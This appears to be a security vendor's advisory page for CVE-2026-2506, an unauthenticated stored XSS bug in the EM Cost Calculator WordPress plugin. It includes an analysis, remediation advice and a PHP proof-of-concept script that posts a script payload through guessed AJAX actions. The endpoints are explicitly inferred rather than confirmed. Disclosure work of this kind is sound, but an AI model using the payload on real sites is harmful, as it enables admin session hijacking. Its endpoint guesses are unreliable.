Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2506: EM Cost Calculator <= 2.3.1 – Unauthenticated Stored Cross-Site Scripting via 'customer_name' (cost-calculator)

CVE ID CVE-2026-2506
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.3.1
Patched Version
Disclosed February 24, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2506 (metadata-based):
The EM Cost Calculator plugin for WordPress contains an unauthenticated stored cross-site scripting (XSS) vulnerability in versions up to and including 2.3.1. The vulnerability exists in the customer data handling functionality, specifically within the ‘customer_name’ parameter. Attackers can inject malicious scripts that execute when administrators view the EMCC Customers page in the WordPress dashboard.

Atomic Edge research infers the root cause is improper output escaping of user-supplied data stored in the plugin’s customer database table. The CWE-79 classification confirms the plugin fails to neutralize input during web page generation. The vulnerability description indicates the plugin stores attacker-controlled ‘customer_name’ data and renders it in the admin customer list without proper escaping. This conclusion is inferred from the CWE classification and vulnerability description, as no source code diff is available for confirmation.

Exploitation requires an attacker to submit malicious JavaScript payloads through the ‘customer_name’ parameter. The attack vector is likely an unauthenticated AJAX endpoint or frontend form submission handler. Based on WordPress plugin patterns, the endpoint is probably ‘/wp-admin/admin-ajax.php’ with an action parameter like ’emcc_save_customer’ or ‘/wp-content/plugins/cost-calculator/includes/save-customer.php’. The payload would be inserted into the customer_name field, such as ‘alert(document.domain)’. This script executes when any administrator views the customer list page.

Remediation requires implementing proper output escaping for all customer data displayed in the WordPress admin interface. The plugin should use WordPress escaping functions like esc_html() or esc_attr() when outputting the customer_name value in HTML contexts. Input validation should also be added, but output escaping is the primary defense against XSS. The fix must be applied to all admin-facing templates that display customer data.

Successful exploitation allows unauthenticated attackers to execute arbitrary JavaScript in the context of an administrator’s WordPress session. This can lead to session hijacking, administrative account takeover, content manipulation, or installation of backdoors. The stored nature means a single payload affects all administrators who view the customer list. Attackers can leverage this access to compromise the entire WordPress installation.

Differential between vulnerable and patched code

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-2506 - EM Cost Calculator <= 2.3.1 - Unauthenticated Stored Cross-Site Scripting via 'customer_name'

<?php
/**
 * Proof of Concept for CVE-2026-2506
 * Assumptions based on WordPress plugin patterns:
 * 1. The plugin uses admin-ajax.php for frontend submissions
 * 2. The action parameter contains 'emcc' or 'cost_calculator'
 * 3. The customer_name parameter accepts unescaped HTML/JavaScript
 * 4. No authentication or nonce verification exists for customer submissions
 */

$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS

// Common AJAX actions for cost calculator plugins
$possible_actions = [
    'emcc_save_customer',
    'cost_calculator_save_customer',
    'em_cost_calculator_save',
    'emcc_submit_form',
    'save_customer_data'
];

// XSS payload that executes when admin views customer list
$payload = '<script>alert(`Atomic Edge Research: XSS via ${document.domain}`)</script>';

$ch = curl_init();

foreach ($possible_actions as $action) {
    $post_data = [
        'action' => $action,
        'customer_name' => $payload,
        'customer_email' => 'attacker@example.com',
        'customer_phone' => '1234567890',
        'calculation_data' => 'test_data'
    ];
    
    curl_setopt_array($ch, [
        CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => $post_data,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_SSL_VERIFYHOST => false,
        CURLOPT_HEADER => true,
        CURLOPT_TIMEOUT => 10
    ]);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 200 && strpos($response, 'success') !== false) {
        echo "[+] Potential success with action: $actionn";
        echo "    Payload injected: $payloadn";
        echo "    Check the EMCC Customers page in WordPress adminn";
        break;
    } else {
        echo "[-] Failed with action: $action (HTTP: $http_code)n";
    }
}

curl_close($ch);

// Alternative direct file approach if AJAX fails
$direct_file = $target_url . '/wp-content/plugins/cost-calculator/includes/save-customer.php';
$ch = curl_init($direct_file);
curl_setopt_array($ch, [
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => ['customer_name' => $payload],
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) == 200) {
    echo "[+] Direct file approach may be vulnerablen";
}
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School